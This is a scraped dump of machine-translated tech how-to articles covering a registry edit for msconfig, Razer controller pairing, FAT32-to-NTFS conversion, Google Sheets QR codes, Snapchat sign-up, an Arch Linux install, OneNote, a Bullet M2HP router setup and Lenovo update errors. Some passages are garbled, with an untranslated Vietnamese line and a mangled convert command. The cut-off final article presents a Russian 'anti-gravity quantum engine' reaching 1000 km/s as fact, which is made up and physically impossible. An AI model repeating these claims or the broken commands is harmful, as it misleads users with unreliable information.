[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D14ED2E1-C75B-443c-BD7C-FC03B2F08C15}DefaultIcon] @=\"msconfig.exe\" [HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D14ED2E1-C75B-443c-BD7C-FC03B2F08C15}ShellOpenCommand] @=\"msconfig.exe\" [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{D14ED2E1-C75B-443c-BD7C-FC03B2F08C15}] @=\"System Configuration\" Now, go to File , select Save As . You can press Ctrl + Shift + S instead.\n Paste the command into Notepad\u0026gt; File\u0026gt; Save As . Then, choose where you want to save the file, name it with the .reg extension , then select All Files in the Save as type list , press the Save button .\n Name the file with the extension .reg Next, open the .reg file just saved in your computer by double clicking.\u0026nbsp;\n Double click the newly created .reg file The UAC prompt window will appear. Select Yes twice so Registry values ​​are added to the Registry Editor.\n Click Yes in the UAC message and Yes in the image above When completed and successful, you will receive the following message:\n The .reg file has been successfully added to the Registry Now, open the Control Panel (if you've opened it before, close and reopen), you'll see the System Configuration option has been added.\n System Configuration already in Control Panel Delete System Configuration in Control Panel In case you want to delete System Configuration from Control Panel, you can move to Registry Editor.\nHKEY_LOCAL_MACHINESOFTWAREClassesCLSID And delete the range {D14ED2E1-C75B-443c-BD7C-FC03B2F08C15} .\nRight-click on this range, select Delete and click Yes to confirm.\nHope the article is helpful to you, wish you all the best of luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXq0xdKtnKZlk6S7p7XGrqmarJmku2650pymp56ZnHq1u4ycpqesoqS5brzAp5yl\n","link":"/post/how-to-add-system-configuration-msconfig-to-control-panel/","section":"post","tags":null,"title":"How to add System Configuration (msconfig) to Control Panel"},{"body":" You can connect controllers to your gaming computers to enhance your gaming experiences. This wikiHow will teach you how to connect a Razer controller to your Windows 7 or higher PC by Bluetooth or using a wired connection. Flip the switch...\nConnecting Wirelessly Flip the switch located on the back of the controller to PC Bluetooth mode (if available). The switch has a blue background (on the Razer Raiju Ultimate) and is located in the center of the back of the controller. Depending on the model of the Razer controller you have, the switch might be located somewhere else. You'll need to refer to the Razer's instruction manual for more details. Your Razer controller might not have a Bluetooth function and may only be able to connect with a USB cable. If this is your first time using the Razer controller or its charge is low, you'll most likely want to make a wired connection. If the lights on your controller are red, the charge is low.  Tap the PS button to turn the controller on. The controller should light up to show you that it's turned on.\n Press and hold the PS and Options buttons for at least 5 seconds. When the status light changes from slow to rapid blinking, your controller is in pairing mode and you can release the buttons you're holding down.\n Go to Settings on your computer. You'll find the gear icon for Settings in the Start Menu (you can either click the Start Menu icon in your taskbar or you can press ⊞ Win).\n Click Devices. You'll see this as the first option in the second column.\n Click Add Bluetooth or other devices. You'll see this on the right side of the window; it's the first clickable option. You'll see discoverable devices appear in the list as your computer scans.\n Click the Razer controller to pair it. If you don't see it in the list, you might need to turn off the Razer controller and put it into pairing mode again.\n Click Done. A confirmation window will display that you've successfully connected to the Razer controller.[1]\n Install the appropriate drivers. You should be automatically prompted to install drivers to use the Razer controller. If you aren't prompted, you can manually get the drivers from the Razer support site.\n Connecting via USB Cable Flip the switch located on the back of the controller to USB (if available). The switch has a blue background (on the Razer Raiju Ultimate) and is located in the center of the back of the controller. Depending on the model of the Razer controller you have, the switch might be located somewhere else. You'll need to refer to the Razer's instruction manual for more details. If this is your first time using the Razer controller, you'll most likely want to make a wired connection.  Plug the micro-USB connector into your controller. Your Razer came with a cord, but if you lost it, you can easily find USB cables with a micro-USB connector at any retail and electronics store. You'll see the micro-USB port on your controller centered at the top.  Connect the other end of the USB cable to your computer. You'll find the rectangular USB ports on the front face of the tower, along the sides of your laptop, or on the back of an all-in-one.\n Download the appropriate drivers. Device Manager should prompt you to download the drivers you'll need to use the Razer controller, but if you aren't automatically prompted, you can go to the Razer support site and download the right drivers.[2]\n  Jessica Tanner Update 12 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmGaqka%2Bys3nCqKWtqp%2Bhuaa%2BjK2mZpldpbA%3D\n","link":"/post/how-to-connect-a-razer-controller-to-a-pc/","section":"post","tags":null,"title":"How to Connect a Razer Controller to a PC"},{"body":"When formatting a partition, hard drive, or any storage device on a Windows computer, you will be able to choose the file system as NTFS, FAT32 or exFAT. Selecting this format will affect the data storage as well as use. And with the modern features of NTFS such as creating copies for backup, encryption, easy to fix when the computer crash, . there are quite a lot of people choose NTFS format from the beginning.\nIf you want to convert from FAT32 hard drive format to NTFS, it is not difficult. In this article, we will show you how to convert from FAT32 to NTFS without losing data. Note, in cases where the computer does not appear the Security tab in the Properties of a file or folder, you can also do this to fix it.\n  To transfer FAT32 to NTFS, we will use the command command available in Windows.\nStep 1: First of all, press the Windows + R key combination to open the Run window. Here, we will enter the cmd keyword and click OK to access the Command Prompt.\n  Step 2: At the Command Prompt window interface, we will type the following command:\nconvert: / fs: ntfs\nIn it, is the drive you want to transfer . For example, if I want to transfer the D drive from FAT32 to NTFS , there will be the following complete command:\nconvert D: / fs: ntfs\n  \nStep 3: Soon, the computer will start the conversion work.\nNext, you will get the message: The type of the system is FAT file. Hãy nhập thư mục hiện thời hiện thời cho máy D:\nThen, type the name of the drive (not the drive letter) that you want to convert from FAT32 to NTFS to determine which drive to transfer again.\nFinally, there will be announcements. You just need to press YES twice and the Conversion complete message will be displayed and you have completed all the process of converting the hard drive to NTFS format.\nTo make sure the conversion process is successful, you need to restart the computer . After the machine boots, the hard drive will be converted to NTFS format.\nThe above is step by step convert the hard drive format from FAT32 format to NTFS format. How to do it is very simple, just through the command command available on the computer only. You need to remember after you have done this, restart the computer for the changes to take effect.\nRefer to the following articles: Instructions to divide and merge drives right in Windows 7 How is GPT and MBR different when partitioning a drive? Hiren's USB creation guide is quick I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGaekamAc3nHmqmdZZSntrexjK2mZqakm8Buu81mrqKmlKTEtHnDqJysZZ6kwW64zqycZpyRqa4%3D\n","link":"/post/how-to-convert-a-fat32-hard-drive-to-ntfs-on-windows-does-not-lose-data/","section":"post","tags":null,"title":"How to convert a FAT32 hard drive to NTFS on Windows does not lose data"},{"body":"Launched in 1994, QR codes have become increasingly popular, becoming a tool to connect quick access to websites, WiFi networks, information sharing, electronic payments, data storage, electric tickets. death and more. How to use QR code is very simple: Just scan with the image sensor on the phone camera, the application will convert the code into binary format and display information or perform pre-programmed behavior.\nBut how can you quickly and easily create and store QR codes even on a large scale? Google Sheets online spreadsheet tool will help you easily solve this problem. Proceed as follows:\nStep 1 : You log into Google Sheets and open a new sheet.\nStep 2: Paste the link or data you want to refer to and hide as a QR code in column A, assuming starting from cell A2 as shown below:\nReference link Step 3: Click on cell B2 and enter the following formula to create the QR code integrated with the link in cell A2:\n=image(\"https://chart.googleapis.com/chart?cht=qr\u0026amp;chs=200x200\u0026amp;chl=\"\u0026amp;encodeurl(A2)) Where: A2 is the value you want to attach the QR code, 200x200 is the QR code size (you can choose arbitrary size).\nQR code has been automatically generated:\nQR code has been created If you want to batch QR codes, just add more URLs (or other data types, such as identification codes) below cells A3, A4, A5 . Then drag just from cell B2 down, code The corresponding QR for the boxes below will be generated automatically.\nThus, you've created QR codes, and can store them in Google Sheets for easy use when needed. There are many standalone QR code scanning applications, and more and more popular applications are integrating the scanner into their platforms.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyqqWabn5mytHnWoquhZZekvKi4xGaqoZ2VqcButdJmrZ6qqWLAqrnPpZw%3D\n","link":"/post/how-to-create-qr-codes-with-google-sheets-is-very-simple/","section":"post","tags":null,"title":"How to create QR codes with Google Sheets is very simple"},{"body":"Just like the popular social networking applications today Facebook, Instagram, Tiwitter, Snapchat opens up a space to exchange and connect with friends around the world. Snap chat interface and functions are relatively simple and only focus on taking photos, recording videos with different effects and then sharing with friends.\nIn particular, Snapchat only allows those on the recipient list to view the photos or videos you send. And the picture will disappear after the recipient has finished viewing and evaporating on the sender's wall after 24 hours. This unique feature has partly solved the security of personal information, which is hard to find in other social networks. If you don't have an account yet, then please follow the Snapchat registration guide of Network Administrator.\nRegister for a Snapchat account on your phone In the article we will create Snapchat account on iOS. The steps taken on Android are similar.\nStep 1: Download the Snapchat application link below and start.\nDownload Snapchat for iOS Download Snapchat for Android Once you click on the Snapchat icon, you will see the registration and login interface . Do not have an account, we will click on Sign up to register.\n   Step 2: The application will ask you to use your email address to register.Enter registration email information , password , birthday . Then click Sign up to register.\nNote , you need to set a password including alphanumeric characters to increase security.\n   Step 3: Next, we'll name the account using Snapchat . Pay attention to the finger icon next to the naming item . Click Continue to continue. The application will partially enter the phone number to verify . It's best to use the real phone number because Snapchat will sync your contacts, looking for everyone using this application to connect. Click Verify to confirm, and enter the verification code. Thus your account will increase security.\n   If you don't want to, you can press Skip to skip this step.\n  Step 4: Soon, the application will ask security questions to confirm you are a real user. The question shows the Snapchat icon in the image. Answer the question correctly and click Continue .\n   Step 5: New interface appears, click Continue . Click OK to notify Snapchat to access your contacts. If not, click Don't Allow .\n     \nThe application displays contacts in the phone. Click Add to add friends who have used Snapchat. Select Continue to continue. Soon, the interface will invite friends to join Snapchat . Click Invite to invite friends.\n   So we have completed the steps to create Snapchat account already. The application interface will take users back to the screen to capture photos or video.\n  Overall, Snapchat's usage is not too difficult and there are not many options to use as on Facebook. However, if you are a selfie with lots of fancy effects, it's worth it to join that Snapchat.\nRefer to the following articles: Instructions for registering an Instagram account on your phone This is how Live Stream Facebook Video on PC, Fanpage Instructions for calling Video Call with Viber on the phone Wish you fun entertainment!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyspZqok52utXnAnJqorZ6perC6jKKmrGWRo7Gzu8id\n","link":"/post/how-to-create-snapchat-account-on-ios-android/","section":"post","tags":null,"title":"How to create Snapchat account on iOS, Android"},{"body":" This wikiHow teaches you how to replace your computer's current operating system with Arch Linux, which is an advanced version of Linux. You can install Arch Linux on both Windows and Mac computers. Back up your computer to an external...\nPart 1of 3:\nBooting into the Installer  Back up your computerto an external hard drive. You'll be erasing your current operating system, so make sure that you have a backup of anything that you want to keep before continuing.\n  Download the Arch installation image. Arch Linux can be downloaded in ISO format, from which point you can burn it onto a blank DVD in order to run the image on your computer. To download this image: Make sure that you have either BitTorrent or uTorrent installed. Go to https://www.archlinux.org/download/ in your browser. Click the Torrent link below the \"BitTorrent\" heading. Open the downloaded torrent in BitTorrent or uTorrent. Wait for the Arch Linux torrent file to finish downloading.   Burn the image onto a blank DVD. Once your Arch Linux ISO file finishes downloading via your torrent client, you'll burn it onto a blank DVD using your computer's DVD drive. Once the burning is complete, leave the DVD in your computer. If your computer doesn't have a DVD drive, you'll need to buy an external DVD drive and attach it to your computer via USB cable.   Restart your computer. Click Start  , click Power  , and click Restart in the menu. On a Mac, you'll instead click the Apple menu  , click System Preferences..., click Startup, click External Drive, and then restart by clicking Restart... in the Apple menu and clicking Restart when prompted.   Press the key that allows you to change the boot order. On most newer computers, this is F12, though the exact key should be displayed on the screen during boot up. If there is no key to change boot order, press the BIOS Setup key (usually F1, F2, F10, or Del). Skip this step on a Mac.   Select your installation drive as the primary boot drive. Set the drive (e.g., \"DVD Drive\" or \"Disk Drive\") that contains your Arch Linux DVD as the primary drive by selecting it and pressing the + key until it's at the top of the menu. Skip this step on a Mac. On some PCs, you may first have to open an \"Advanced\" tab or select a \"Boot Options\" section.   Save and exit the \"Boot Options\" screen. You should see a key at the bottom or in the bottom-right corner of the screen that you can press to save and exit. After doing so, your computer will resume restarting. Skip this step on a Mac.   Select Boot Arch Linux and press ↵ Enter. This will launch the Arch Linux installer, at which point you can proceed with partitioning your hard drive.\n Part 2of 3:\nCreating Partitions  Check your existing drives. You'll have at least two drives available: your computer's hard drive, and the Arch Linux installation media. To check your current drives: Type in fdisk -l and press ↵ Enter. Find the name of the largest hard drive on the results screen. The name will be something like \"/dev/sda\" and can be found to the right of the \"Disk\" heading.   Bring up the partition page. Type in cfdisk [drive name], making sure to replace [drive name] with your hard drive's name, and press ↵ Enter, then select DOS and press ↵ Enter again. For example: if the drive is named \"/dev/sda\", you would type cfdisk /dev/sda into the terminal.   Delete the hard drive's contents. Select a partition in the middle of the screen, select Delete at the bottom of the screen, press ↵ Enter, and repeat for any other partitions in the middle of the screen. You should ultimately be left with a line entitled Pri/Log Free Space.\n  Create a \"swap\" partition. This partition will function as your system's backup memory if and when you are consuming all of your RAM. To do so: Select New and press ↵ Enter. Select Primary and press ↵ Enter. Type in a number of megabytes (e.g., 1024 for one gigabyte) and press ↵ Enter. As a rule of thumb, you should make the swap partition 2 or 3 times your RAM (e.g., if you have 4 gigabytes of RAM, you should make the swap partition 8192 or 12288 megabytes). Select End and press ↵ Enter.   Create your main hard drive partition. This is the partition on which your Arch Linux operating system, files, and other information will be stored. To do this: Make sure that the Pri/Log Free Space partition is selected. Select New and press ↵ Enter. Select Primary and press ↵ Enter. Make sure that the number next to the \"Size (in MB)\" heading is correct. Press ↵ Enter. Select the primary partition again. Select Bootable and press ↵ Enter.   Label the \"swap\" partition. This will set it as your system's RAM: Select the \"swap\" partition. Select Type and press ↵ Enter. Type in 82 and press ↵ Enter. With the \"swap\" partition still selected, select Write and press ↵ Enter. Type in yes and press ↵ Enter.   Note the names of your partitions. In the \"Name\" column on the far-left side of the screen, you should see a name (e.g., \"sda1\") next to your \"swap\" partition, and a similar name (e.g., \"sda2\") next to the primary partition. You'll need both of these names in order to format your partitions.\n  Exit the \"cfdisk\" utility. Select Quit and press ↵ Enter to do so.\n  Format your primary partition. This will make it usable with your operating system. To do this, type in mkfs.ext4 /dev/[primary partition name] and press ↵ Enter. For a partition named \"sda2\", you'd enter mkfs.ext4 /dev/sda2 here.   Mount the formatted partition. Type in mount /dev/[partition name] /mnt and press ↵ Enter. This will make the partition into a usable drive.\n  Add a swap file to the \"swap\" partition. Type in mkswap /dev/[partition name] and press ↵ Enter, then type in swapon /dev/sda1 and press ↵ Enter again. After completing this step, you can proceed with installing Arch Linux. For a \"swap\" partition named \"sda1\", for example, you'd enter mkswap /dev/sda1 and then swapon /dev/sda1 here.  Part 3of 3:\nInstalling  Set up a Wi-Fi connection. If your computer is plugged into your router via ethernet, you can skip this step. Using ethernet is preferable to using Wi-Fi.[1] Type ip link and press ↵ Enter to determine the interface name of your network adapter. Type pacman -S iw wpa_supplicant and press ↵ Enter to install the necessary software. Type pacman -S dialog and press ↵ Enter to install the Wi-Fi menu. Type pacman -S wpa_actiond and press ↵ Enter to install the software that allows you to automatically connect to known networks. Type systemctl enable netctl-auto@interfacename.service to turn on the auto-connection service for your wireless adapter. Next time you reboot, type wifi-menu interfacename to access the wireless menu for your adapter. After you connect to the network for the first time, you will be automatically connected for subsequent boots. Do not enter this now, or you will lose access to your network.   Install the base system. Type in pacstrap /mnt base base-devel and press ↵ Enter. The system will begin installing onto your computer. This process will usually take around 15-30 minutes depending on your Internet connection speed.   Open \"chroot\" access. Type in arch-chroot /mnt and press ↵ Enter. This will allow you to change aspects of the root directory, including the password.\n  Set a password. This is the password that you'll use to log into the root account. To do so: Type in passwd and press ↵ Enter. Type in a password and press ↵ Enter. Retype your password and press ↵ Enter.   Set a language. To do so: Type in nano /etc/locale.gen and press ↵ Enter. Scroll down to select your preferred language. Select the letter directly in front of the \"#\" symbol behind your language and press Del. Delete the \"#\" symbol from any other versions of your language (e.g., all versions of \"en_US\"). Press Ctrl+O (or ⌘ Command+O on a Mac), then press ↵ Enter. Exit by pressing Ctrl+X or ⌘ Command+X. Type in locale-gen and press ↵ Enter to finish setting up your language.   Select a time zone. To do so: Type in cd usr/share/zoneinfo and press ↵ Enter. Type in ls and press ↵ Enter. Find your country or region, then type in cd usr/share/zoneinfo/country (e.g., America) and press ↵ Enter. Type in ls again and press ↵ Enter. Find your preferred time zone, then type in ln -s /usr/share/zoneinfo/country/timezone /etc/localtime and press ↵ Enter.   Set a host name for your computer. To do so, type in echo name \u0026gt; /etc/hostname and press ↵ Enter. To name your computer \"Panda\", for example, you'd enter echo Panda \u0026gt; /etc/hostname here.   Download the GRUB bootloader. This is the program that will install your Arch Linux for you. To do so: Type in pacman -S grub-bios and press ↵ Enter. Type in y and press ↵ Enter. Wait for GRUB to finish downloading.   Install GRUB. Make sure that when you do this, you install it on your actual hard drive (e.g., \"sda\"), not the partition (e.g., \"sda1\"). To install GRUB: Type in grub-install /dev/drive name (e.g., grub-install /dev/sda and press ↵ Enter.   Create an \"init\" file. This file stores information about your computer's hardware, making it available for utilization by Linux. To do so, type in mkinitcpio -p linux and press ↵ Enter.\n  Create a configuration file for GRUB. To do so, type in grub-mkconfig -o /boot/grub/grub.cfg and press ↵ Enter.\n  Create an \"fstab\" file. Type in genfstab /mnt \u0026gt;\u0026gt; /mnt/etc/fstab and press ↵ Enter. Doing so allows Arch Linux to identify your partition's file systems.\n  Reboot your computer. To do so, type in umount /mnt and press ↵ Enter, type in reboot, press ↵ Enter, remove your installation media, and wait for your system to finish rebooting.\n  Log into your account. Type root into the \"login\" field and press ↵ Enter, then type your password in and press ↵ Enter. You have successfully installed and opened Arch Linux on your computer. If you want to install a graphical user interface (GUI) that allows you to use the mouse, try installing GNOME on your computer.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKubmGK5qrrUsQ%3D%3D\n","link":"/post/how-to-install-arch-linux/","section":"post","tags":null,"title":"How to Install Arch Linux"},{"body":"Microsoft OneNote is an online, virtual notebook app that allows you to take notes, create checklists, insert images, and more. Microsoft OneNote is free to use, includes seven gigabytes of cloud storage space, and can be managed across...\nPart 1of 12:\nDownloading OneNote  Navigate to the official Microsoft OneNote landing page at http://www.onenote.com/.\n  Click on 'Free Download' and follow the on-screen instructions to download and install OneNote to your computer. OneNote is currently available across multiple platforms, including Android and iOS from Google Play Store and the iTunes Store.\n  Sign into OneNote using your Microsoft account login credentials. If you don't already have a Microsoft account, click on 'Sign up' and follow the on-screen instructions to create an account.\n  Launch the OneNote app on your computer or device following installation. Your virtual notebook will display on-screen.\n Part 2of 12:\nCreating Notebooks  Click on 'File' and select 'New.'\n  Indicate where you want your new notebook saved. Select 'OneDrive' to save your notebook to the cloud so it can be accessed across all devices, or select 'Computer' or 'Add a Place' to store your data to another location.\n  Click anywhere in the notebook and start typing your notes. You can make several notes in different places anywhere on the notebook page.\n  Click on the page header section at the top of the page and type a title for your notebook page. This title will also display on its page tab to the right.\n  Drag and resize notes as needed anywhere on the page. OneNote gives you the freedom to type notes anywhere on the document and customize as needed.[1]\n Part 3of 12:\nCreating Checklists  Click on the 'Home' tab and open the 'Tags' dropdown menu.\n  Select 'To Do.' A section with an empty box will display in the main notebook pane.\n  Start typing checklist items and press 'Enter' after each item. A checklist box will display to the left of each item.\n  Click or tap on each checklist box to check off an item.\n Part 4of 12:\nAttaching Files  Go to the notebook page to which you want a file attached.\n  Click on 'Insert' in the top menu bar and select 'File Attachment.'\n  Select the file you want attached to your notebook, then select 'Insert.' The file will display as an icon on your notebook page.[2]\n Part 5of 12:\nInserting Images  Position your cursor in the place you want your image inserted.\n  Click on 'Insert' in the top menu bar and select one of the following options. The image will now be inserted into your notebook. Screen Clipping: Captures a section of your computer screen. Pictures: Allows you to insert a picture file saved on your device or external storage. Online Pictures: Allows you to insert pictures from online sources. Scanned Image: Allows you to insert a scanned image from a scanner attached to your device.  Part 6of 12:\nCreating Tables  Position your cursor in the place you want a table created. Tables can help keep your notes organized by arranging information in rows and columns.\n  Click on the 'Insert' tab and select 'Table.'\n  Move your cursor over the grid to highlight your desired grid size, then left-click your mouse. For example, to create a 2x3 table, highlight the first three boxes in the top row and the next three boxes below in the second row.\n  Click on 'Insert Table.' The table will now be added to your notebook page.[3]\n Part 7of 12:\nAdding Pages  Click on the notebook section to which you want pages added.\n  Click on 'Add Page' in the pane located to the right of your notebook section.\n  Type a page title into the page header section, then press 'Enter.'\n  Click and drag the page tab to its desired position in your notebook.\n Part 8of 12:\nAdding Sections to Pages  Right-click on any section tab at the top of your notebook page and select 'New Section.' Sections function similarly to color tabs in a typical three- or five-section paper notebook.\n  Type a title for your new section, then press 'Enter.' You can now start taking notes on the new section.\n Part 9of 12:\nSetting Up Checklist Reminders for Outlook  Select an item in your checklist for which you want a reminder sent to your Outlook account.\n  Click the 'Home' tab and select 'Outlook Tasks.' This feature allows you to set up reminders in Outlook using items from your checklist. For example, if an item in your to-do list is 'Go to dentist appointment,' select this item to be reminded about your appointment in Outlook.\n  Select when you want to receive a reminder in Outlook. You can choose 'Today,' 'Tomorrow,' 'This Week,' 'Next Week,' or customize a date. Outlook will now send a reminder based on the time and date selected.\n Part 10of 12:\nSharing Notebooks  Click on 'File' and select 'Share.'\n  Type the email address of the person with whom you want to share your notebook. You can enter one or multiple email addresses.\n  Click on 'Share.' The individuals listed will now receive an invitation to view or edit your notebook in OneNote.\n Part 11of 12:\nUsing Tags  Position your cursor at the beginning of any text you want tagged. Tags are ideal for categorizing and prioritizing notes for one or multiple notes or notebooks.\n  Click on the 'Home' tab and click on the 'Tags' dropdown menu.\n  Select the tag symbol you want applied to your text. You can choose from several options, such as 'Idea,' 'Book to read,' or 'Critical.' For example, if tagging an article you want to write about for your blog, select 'Remember for blog.'\n  Search for tags at any time by selecting 'Find Tags' from the 'Tags' dropdown menu. You can then click on tags to access notes categorized by tag.[4]\n Part 12of 12:\nRecording Audio or Video  Position your cursor in the section of your notebook where you want the recording inserted.\n  Click on the 'Insert' tab and click 'Record Audio' or 'Record Video.' Your computer or device will start recording audio or video using its built-in microphone or webcam. This feature is useful when you want to record important meetings, lectures, or events.\n  Click on 'Stop' or 'Pause' to stop recording. A media icon will display in your notebook where you positioned the cursor.\n  Click on the media icon and select 'Play' to play your recording at any time.[5]\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqwusSnpq2d\n","link":"/post/how-to-use-onenote/","section":"post","tags":null,"title":"How to Use OneNote"},{"body":"TipsMake.com please guide you how to install Wifi M2HP Wifi Router. Things to know about the device before configuring IP Lan default: 192.168.1.20 Username: ubnt Password: ubnt\nHow to plug in the device : On the PoE Adapter: PoE port plugs into Bullet M2HP, the LAN port plugs into the network card of the computer or Router ( Modem or Switch ).\nStep 1 : Set static IP for network card\n  Step 2 : Open the browser and go to 192.168.1.20 with username and password as ubnt\nStep 3 : Go to the Wireless card\nWireless mode item select Access Point SSID entry type the wifi name to set Channel width section selected: 20 Mhz Security section select: WPA2-AES ( Other modes can be selected ) WPA Preshared Key : type password wifi to set. Pass has a minimum length of 8 characters After completing the above items, click Change .   Step 4 : Go to the card with the icon  . Then uncheck the Enable AirMax section then click Change and Apply to complete the installation process.\nSome points to note when installing The antenna must be inserted into the wifi transmitter before plugging in the power for the wifi transmitter When installing outdoor connection points between the wifi transmitter - spread lightning protection ( if any ) - the antenna should be tightly sealed and tight with insulating tape. In the Bullet Box M2HP, plastic buttons are available: this button is used to insert the network cable and the bottom cover to prevent insects from entering the device. For antennas 8-10-12-15-24dBi must be installed tightly into iron or wall columns, must be mounted vertically to avoid strong shaking when strong winds can break the antenna. Surge protection ( if any ) must be connected by grounding wire or lightning escape device. This lightning protection device only has the effect of escaping the lightning spread but cannot resist strong lightning or direct hits. ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabn6OzqrPUq6Cnn12Xwq24xK1kpmqYpXq4tcWiZKunpamysw%3D%3D\n","link":"/post/instructions-for-configuring-bullet-m2hp-wifi-router/","section":"post","tags":null,"title":"Instructions for configuring Bullet M2HP Wifi router"},{"body":"Draw a stacked column chart in Excel to represent data with images to give you a more intuitive look. In this article, TipsMake.com will guide you to create a stacked column chart in Excel for an existing data table.\n  For example, we have the following data table, which is very suitable for the superposition bar chart category: Math Physics Chemistry Score table for students. Because the data of the same category is scores, it can be combined into one column and overlapped.\n  First you need to open the Insert ribbon on the toolbar.\nThen you find the Charts section of this ribbon. The Charts section contains functions for inserting different chart types into your Excel document file.\nBecause we need to insert a bar chart, click the Insert Column or Bar Chart icon in the Chart section .\n  There are many types of column charts you can use, 2D column chart types and 3D column chart types.\nIn each form, there are data chart types and% chart types. You will get a preview of the legend and a temporary display of the chart when you just click on the icon of the chart.\n  The chart to be inserted is displayed above the contents of the Excel file. The current stack column chart is only in the default stub form, you also need to adjust it to suit the shape you need.\n  The quickest way to adjust the format and composition of a stacked column chart is the navigation buttons just to the right of the chart. You can use it to add different elements to the chart like the image below when you add tick marks to Data Labels , the specific data of the stacked column arrays will be displayed right on the column.\n  Or else you can use two ribbon functions dedicated to the chart: Chart Design and Chart Format .\nYou can change different formats, such as the style of the stacked column chart in the Chart Design ribbon .\n  Changing the colors for the columns of the overlapping column in Change Colors also belongs to the Design ribbon . Available in different sets of colors to choose from.\n  Besides, there is an Add Chart Element to be able to add different elements to the chart. As the example below when adding Data Table , you can create more data tables just below the chart.\n  If you want to change the overlay column chart type, then click the Change Chart Type icon on the same ribbon.\n  There are different types of stacked bar charts that you can review and change. Available in 2D and 3D, you can preview images in the Preview below. After making a satisfactory choice, click OK to change.\n  As you can see the bar graph will change according to what you choose.\n  Thank you for reading our article TipsMake.com on how to plot stacked columns in Excel. Wish you can do it successfully!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnPpaatZaOprqS3xJ1knKecqrqvv4yipWadqJiyrQ%3D%3D\n","link":"/post/instructions-on-how-to-plot-stacked-columns-in-excel/","section":"post","tags":null,"title":"Instructions on how to plot stacked columns in Excel"},{"body":"Both Microsoft and Lenovo have officially acknowledged that after updating Windows 10 2004 a lot of Lenovo laptops have had nasty problems. Lenovo had to create a support page specifically for customers who had problems after \"launching\" Windows 10.\nBased on user reports, the error rate and the number of errors encountered by Lenovo laptops after the latest Windows 10 update are higher than other devices. Fortunately, most errors have a quick fix. Microsoft and Lenovo are also working together to develop the patch and will soon release.\nThe percentage of errors and the number of errors encountered by Lenovo laptops after updating to Windows 10 2004 is higher than other devices Here are all known issues on Lenovo laptops after updating Windows 10 2004 with a temporary fix:\nProblems with the Synaptics UltraNav driver\nLenovo discovered that some of their laptops displayed an error message: \"Downloading Apoint.DLL failed, the Alps Pointing device application has stopped working\", when a user tries to use the system recovery feature ( system recovery).\nThe fix is ​​as follows:\nOpen Device Manager Select \"Mice and other pointing devices\" Select \"Think UltraNava device\" Right click on it and update the driver to the latest version Restart the laptop Microsoft and Lenovo are working together to find a fix A yellow warning sign appears on the hard drive\nIf you see a yellow warning sign appear on your hard drive using the BitLocker encryption tool in Windows 10 after the update try the following steps to remove it:\nRight-click on the hard drive Turn on BitLocker then turn it off If you do not use BitLocker you can disable this feature by going to Settings =\u0026gt; Update \u0026amp; Security =\u0026gt; Device encryption A green border appears when watching videos in the Movies \u0026amp; TV application\nSome users complain that a blue border appears around the video when they watch through the Movies \u0026amp; TV application.\u0026nbsp;\nAccording to Lenovo, this error is due to the old drivers of AMD graphics card are not compatible with Windows 10 2004. To fix the problem, users should update the graphics card driver to the latest version.\nThe F11 key stops working after updating Windows 10 2004\nThis error affects Lenovo's ThinkPad X1 Tablet Gen3 model. More importantly, there is currently no way to fix it and Lenovo says it won't be until the end of June for an update to fix the issue.\nBlue screen error is the most serious when to fix the user only has to return to Windows 10 version 1909 Lenovo laptop touch screen blue error\nLenovo is currently investigating why some of its laptops have blue screen errors when enabled from Sleep or Hibernation . Currently the only way to fix this problem is to uninstall Windows 10 2004 update, revert to versions 1909 or earlier.\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WVp7%2BwvtJmpqdlnJq7sMLOZqOaqKSkvW6txa2cq2Wnnrulu9asZGpoXWd9cYCMrqedmaSaeqK6w2afqK9dqbxussixZKKs\n","link":"/post/list-of-errors-on-lenovo-laptop-after-windows-10-2004-update-and-how-to-fix-it/","section":"post","tags":null,"title":"List of errors on Lenovo laptop after Windows 10 2004 update and how to fix it"},{"body":"Russian experts have successfully tested a quantum engine, also known as an anti-gravitational engine, which has a speed of 1,000 km / s, which is 5,000 times stronger than a conventional rocket engine. This achievement brought Russia into the leading position in the field of basic science of the world.\nThis successful Russian test will create a scientific and technical revolution in the 21st century. This engine has the effect of neutralizing the gravity of objects such as tanks, aircraft, warships . and opens up the ability to make transport vehicles thousands of times faster than today.\nThis technical achievement is the result of using a modern basic scientific theory, called hyperlinking theory, built by Russian scientists.\n  Tanks fitted with quantum engines.\nDr. Vladimir Leonov, who won the National Prize of the Russian Government, who pioneered the field of research on hyperlinked theory, said moving quantum motors are horizontal or take off vertically. thanks to internal force, not the actuator to drive the wheel, there is no need for parts like bearings.\nIn 2009, Russian scientists successfully tested quantum engines. By 2014, the Russians have successfully tested a 54kg engine that only consumes electric energy equal to 1kw but creates a vertical thrust with impulse with an intensity of 500-700kg force. Since then, they have successfully built flying weapons with acceleration 10-12 times the gravitational acceleration, which is 10-12 times the rate of free fall of objects on the surface of the Earth.\nSpeed ​​1000km / sec! Dr. Vladimir Leonov said that conventional rocket engines have now reached the limited capacity of technology. In 50 development, rocket engine impulse can only increase from 220 seconds (German Faw-2 rocket in World War 2) to 450 seconds (in Russian Proton rocket engine). But the quantum engine impulse has reached tens of millions of seconds, helping to increase the efficiency of quantum engines by 900% compared to the performance of conventional rocket engines.\n  Dr. Vladimir Leonov.\nSpecifically, conventional rocket engines weighing 100 tons only carry a useful load of about 5 tons (5% efficiency), while a 100-ton quantum engine can carry 90 tons of cargo.\nIn terms of speed, while the speed of conventional missiles only reaches a maximum of 18km / sec, the quantum engine can send the airship moving at 1000 km / sec. At this rate, the quantum engine helps the flight to 